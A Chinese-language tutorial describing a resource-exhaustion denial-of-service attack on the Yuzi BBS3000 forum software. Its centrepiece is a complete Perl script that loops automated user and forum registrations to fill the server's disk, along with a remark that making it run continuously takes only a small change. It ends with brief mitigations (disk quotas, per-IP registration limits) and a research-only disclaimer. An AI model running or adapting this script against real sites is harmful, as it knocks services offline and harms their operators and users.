|
一次针对BBS3000的DoS攻击
前言:
随着DoS的盛行,很多人越来越钟情于这种技术,原因很明显:一是技术上没有什么难度,二是那种攻击的感觉的确很棒。现在很多蠕虫的流行,有相当一部分也是为了DDoS做准备,多找几个“志愿者”嘛!:)以前的DoS攻击对象主要是操作系统和守护程序。而我现在要说的则是针对目前最为流行的Yuzi
BBS3000的攻击,是不是感觉很好玩?:P
这次实验是在我自己的机器上进行的,所以如果你打算测试的话,最好在自己的机器上装一下BBS3000,这样的效果应该更明显一些。为了使你的系统工作,你需要安装Apache,ActivePerl和BBS3000,具体下载和安装配置这里就不说了可以参考各自站点上的说明和软件自带的帮助文件。
介绍:
DoS的原理想必大家已经很清楚,目的只有一个,耗尽目标主机的资源,使其拒绝服务。这主要包括CPU时间,
内存容量和硬盘空间。好了,大道理还是不说了,我们现在正式开始。
在游览器输入地址:http://localhost/bbs3000/bbs.cgi 可以看到熟悉的BBS3000界面。
首先进入“用户资料注册”注册一个新用户,然后进入“免费申请”来申请一个自己的BBS3000论坛。必须注意这个申请顺序,否则申请无法成功为了测试的目的,我们只需要填写必须填写的内容,也就是前面有*的内容。
我们可以看到,Yuzi BBS3000是一个多用户的论坛,而且“在线申请,在线开放”。
更重要的是程序本身并没有做什么安全检查我们有机会了。我们只要连续的发送顺序申请新用户和新论坛的请求,那么时间一长, 目标主机的硬盘就要撑破了,呵呵。。。
就是这么简单。另外,我要向大家介绍Perl这种语言,这的确是一种很优秀的语言,用它来写一些小工具最方便不过了, 建议大家好好学习。
明白了原理,我们可以很快的写出攻击脚本,完成的代码如下:
#!/usr/bin/perl
#this tool is designed by analysist
#welcome to visit http://www.china4lert.org
use HTTP::Request::Common;
use HTTP::Response;
use LWP::UserAgent;
$ua = new LWP::UserAgent;
$ARGC = @ARGV;
if ($ARGC != 1) {
print "usage: $0 <times>";
exit(1);
}
$times = shift;
for ($i=1;$i<=$times;$i++) {
$response = $ua->request(POST 'http://localhost/bbs3000/yhreg.cgi',
[menu => 'reguser',
username => "$i",
userpsd => "$i",
mail => "$i\@china.com",
sex => '男',
work => '',
love => '',
oicq => '',
home => '',
jiao => '',
qm => '',
city => '',
tu => '',
submit => '填好了,继续!',
]
);
if ($response->is_success) {
if ($response->content =~ /成功|/) {
$response = $ua->request(POST 'http://localhost/bbs3000/reg.cgi',
[menu => 'reguser',
title => "$i",
username => "$i",
userpsd => "$i",
mail => "$i\@china.com",
home => '',
jj => '',
htmlt => '',
htmlw => '',
submit => '填好了,继续!',
]
);
if ($response->content =~ /成功/) {
print "forum $i reg succeed!\n";
}
else {
print "forum $i reg failed!\n";
}
}
else {
print "user $i reg failed!\n";
}
}
else {
print "user $i submit error!\n";
}
}
这个程序比较仁慈,只是进行指定次数的攻击,如果你想连续攻击,只要修改很小的一部分就可以了,这里就不说了。
过一段时间看看效果吧,首先声明,除了意外不要怪我!:)
解决方案:
为了抵抗这种攻击,需要在两方面改进一下。一是操作系统方面,应该对提供BBS3000论坛服务的目录进行磁盘限额对于Windows
2000,由于系统本身没有提供这项功能,所以需要借助第三方软件;对于Linux,方法就比较多,可以参考相关文档。二是程序方面,
应该多做一些安全检查,防止同一IP地址短时间内多次注册。
补充:
本文所说的针对Yuzi BBS3000的DoS攻击方法同样适用于其它网络程序,但应满足“多用户”和“在线申请,在线开放”的特点。
声明:
本文只限于研究和教育目的,请不要利用本文的内容和工具进行破坏活动,否则所有后果自负。 |